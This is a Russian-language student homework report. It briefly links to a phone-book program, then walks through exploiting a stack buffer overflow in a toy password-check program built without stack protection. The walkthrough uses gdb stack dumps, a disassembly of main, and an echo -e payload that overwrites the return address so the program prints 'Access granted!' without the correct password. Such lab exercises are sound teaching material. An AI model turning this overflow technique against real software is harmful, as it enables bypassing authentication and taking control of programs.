

1. Переписать абонентский справочник с использованием функции Справочник был написан с использованием функций ещё во время выполнения задания «Структуры».

<https://github.com/wild4est/EltexHomework/tree/main/4.%20%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D1%8B>

2. Имеется программа (исходный код которой приводится ниже, компилировать с ключами: -fno-stack-protector -no-pie). Вам необходимо произвести анализ программы с помощью отладчика для выяснения длины массива для ввода пароля и адреса ветки условия проверки корректности ввода пароля, которая выполняется при условии совпадения паролей. Ввести пароль (строку символов) таким образом, чтобы перезаписать адрес возврата на выясненный адрес (есть символы которые нельзя ввести с клавиатуры, поэтому можно использовать перенаправление ввода(<) при запуске программы).

Для начала необходимо выяснить адрес возврата функции IsPassOk. Заодно можно посмотреть раздел памяти, где лежит пароль. Для этого необходимо поставить breakpoint на \*IsPassOk+29 и запустить программу с использованием в качестве ввода заранее заготовленный файл ( run < file ). В данном файле записано 12 символов „а“, что должно полностью заполнить память, выделенную на массив Pass.

После запуска программы можно использовать команду x/20xw \$rbp-16 для того, чтобы посмотреть содержание стека.

Введённая строка ( char Pass[12] )			
0x7fffffdcf0: 0x00403e00	0x61616161	0x61616161	0x61616161
0x7fffffdff0: 0xfffffd00	0x00007fff	0x004011b6	0x00000000

Указатель на сегмент стека      Указатель на сегмент .text

Рисунок 1 — содержание стека.

Исходя из полученной информации можно сделать вывод, что адрес возврата функции IsPassOk – 0x004011b6. Так же можно увидеть, что массив Pass хранится достаточно близко к указателям. А это значит, что если ввести пароль длиннее 12 символов, то он начнёт перезаписывать значение указателей. Таким образом достаточно ввести любые 12 символов, затем значение указателей на стек и адрес возврата на то место, где будет выполняться ветка else.

Теперь необходимо найти данный адрес. Для этого нужно разобрать ассемблерный листинг функции main.

```

0x40119a <main+4>    push  %rbp
0x40119b <main+5>    mov   %rsp,%rbp
0x40119e <main+8>    sub   $0x10,%rsp
0x4011a2 <main+12>   lea   0xe5b(%rip),%rax      # 0x402004
0x4011a9 <main+19>   mov   %rax,%rdi
0x4011ac <main+22>   call  0x401070 <puts@plt>   ← Вызов функции puts
0x4011b1 <main+27>   call  0x4011ee <IsPassOk>   ← Вызов функции IsPassOk
0x4011b6 <main+32>   mov   %eax,-0x4(%rbp)   ← Возвращаемое значение функции перекладывается из регистра $eax в стек.
0x4011b9 <main+35>   cmpl $0x0,-0x4(%rbp)   0x4011b6 - адрес возврата.
0x4011bd <main+39>   jne   0x4011d8 <main+66>   ← Если значение не равно нулю прыжок в <main+66>
0x4011bf <main+41>   lea   0xe4e(%rip),%rax      # 0x402014
0x4011c6 <main+48>   mov   %rax,%rdi
0x4011c9 <main+51>   call  0x401070 <puts@plt>
0x4011ce <main+56>   mov   $0x1,%edi
0x4011d3 <main+61>   call  0x4010a0 <exit@plt>
0x4011d8 <main+66>   lea   0xe43(%rip),%rax      # 0x402022
0x4011df <main+73>   mov   %rax,%rdi
0x4011e2 <main+76>   call  0x401070 <puts@plt>
0x4011e7 <main+81>   mov   $0x0,%eax
0x4011ec <main+86>   leave
0x4011ed <main+87>   ret

```

Рисунок 2 — ассемблерный листинг функции main

Подходящий адрес — 0x4011d8.

Теперь можно записать подходящую строку в файл. Для этого выполним команду:

```
echo -e 'aaaaaaaaaaaa\xc0\xdc\xff\xff\xff\x7f\x00\x00\xd8\x11\x40' > file
```

Если запустить программу с использованием полученного файла, можно увидеть, что доступ был получен без ввода корректного пароля.

```
(gdb) run < file
Starting program: /home/wild4est/Desktop/MyFavoriteFolder/learn/Eltex/EltexHomework/5. Функции/main < file
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter password:
Access granted!
```

Рисунок 3 — результат запуска программы